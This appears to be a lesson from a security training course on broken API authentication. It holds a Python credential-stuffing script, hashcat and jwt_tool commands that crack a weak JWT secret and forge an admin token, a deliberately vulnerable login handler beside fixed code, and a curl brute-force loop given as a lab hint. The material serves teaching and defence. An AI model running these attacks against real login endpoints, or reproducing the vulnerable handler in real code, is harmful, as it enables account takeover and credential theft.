Broken Authentication
Theory
API2 Broken Authentication covers all weaknesses in the API's identity verification mechanisms. APIs are typically stateless and rely on tokens (JWT, API keys, OAuth tokens) โ if those tokens are weak, long-lived, or improperly validated, attackers bypass authentication entirely or impersonate any user.
Common API Authentication Failures
- No rate limiting on the login endpoint โ unlimited password guesses; attackers run credential stuffing lists of billions of leaked passwords
- API keys transmitted in URLs โ
GET /api/data?api_key=abc123. URLs appear in server logs, browser history, Referer headers, and CDN access logs โ all of which are readable by parties other than the intended recipient - Tokens that never expire โ a leaked JWT or API key remains valid forever; there's no recovery mechanism
- Weak JWT secrets โ a short or dictionary-based HMAC secret can be brute-forced offline once an attacker captures a token
- Refresh token rotation not enforced โ an old refresh token remains valid after rotation, allowing persistent access with a stolen token
- Token stored in localStorage โ accessible by any JavaScript on the page; XSS silently steals the token and sends it to the attacker
Credential Stuffing Attack
# RockYou2021 has 8.4 billion leaked credentials.
# Without rate limiting, an attacker sends thousands of requests per minute:
import requests
credentials = [
("alice@example.com", "password123"),
("alice@example.com", "alice2024"),
("admin@example.com", "admin123"),
# ... 100,000 more pairs from breach databases
]
for email, password in credentials:
r = requests.post("https://target.com/api/v1/auth/login",
json={"email": email, "password": password})
if r.status_code == 200:
print(f"VALID: {email}:{password}")
print(f"Token: {r.json()['token']}") # account takeover
JWT Secret Brute-Force
# If the JWT is signed with a weak secret, crack it offline: hashcat -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoyLCJyb2xlIjoidXNlciJ9.signature rockyou.txt # Or with jwt_tool: python3 jwt_tool.py eyJ... -C -d rockyou.txt # If cracked: secret = "secret123" # Now forge a new token with role: admin: python3 jwt_tool.py eyJ... -T -S hs256 -p secret123
Vulnerable Code
# VULNERABLE โ no rate limiting; weak secret; token never expires
import jwt
SECRET = "secret" # dictionary word; crackable in seconds
@app.post("/api/v1/auth/login")
def login(username: str, password: str):
user = db.get_user(username)
if not user or user.password != password: # plaintext comparison!
return {"error": "invalid"}
token = jwt.encode({"user_id": user.id, "role": user.role}, SECRET, algorithm="HS256")
# No exp claim โ token is valid forever
# No rate limiting โ unlimited attempts allowed
return {"token": token}
Fixed Code
import jwt, bcrypt, secrets
from datetime import datetime, timedelta
from slowapi import Limiter
limiter = Limiter(key_func=get_remote_address)
SECRET = secrets.token_hex(32) # 256-bit random secret; generated at startup
@app.post("/api/v1/auth/login")
@limiter.limit("5/minute") # rate limit: 5 attempts per IP per minute
def login(request: Request, credentials: LoginRequest):
user = db.get_user(credentials.username)
dummy_hash = "$2b$12$invalidhashfortimingprotection"
valid_hash = user.password_hash if user else dummy_hash
if not user or not bcrypt.checkpw(credentials.password.encode(), valid_hash.encode()):
return {"error": "Invalid username or password"} # uniform message
token = jwt.encode({
"user_id": user.id,
"role": user.role,
"exp": datetime.utcnow() + timedelta(hours=1), # short expiry
"iat": datetime.utcnow(),
}, SECRET, algorithm="HS256")
return {"token": token}
Real-World Breaches
- Peloton (2021) โ The API returned private user data (age, gender, location, workout data) for any user ID without authentication. The API required a token only for some routes.
- T-Mobile (2021) โ An unauthenticated API endpoint allowed querying account data using a phone number; 47 million customer records exposed
- Coinbase (2021) โ Race condition in the 2FA flow allowed bypassing MFA during login; discovered via bug bounty, $250,000 critical payout
How to Fix โ Checklist
- Rate limit all auth endpoints โ 5โ10 attempts per IP per minute; exponential backoff after threshold
- Use short-lived tokens โ JWTs should expire in 15โ60 minutes; use refresh tokens with rotation
- Strong JWT secrets โ minimum 256-bit random key generated at startup; stored in a secrets manager
- Tokens in Authorization header, not URLs โ
Authorization: Bearer <token>; never as query parameters - Require MFA for sensitive accounts โ admin, finance, DevOps; use TOTP (FIDO2 preferred)
- Audit token issuance โ log every login, token refresh, and token revocation
Challenge 1
No Rate Limiting โ Brute-Force Admin Password
The login endpoint has no rate limiting or lockout. Brute-force admin's password. The password list is: admin123, password, letmein, admin, secret123.
Hint
for p in admin123 password letmein admin secret123; do curl -s -X POST /api/v1/auth/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$p\"}" | grep -q token && echo "Found: $p" && break; done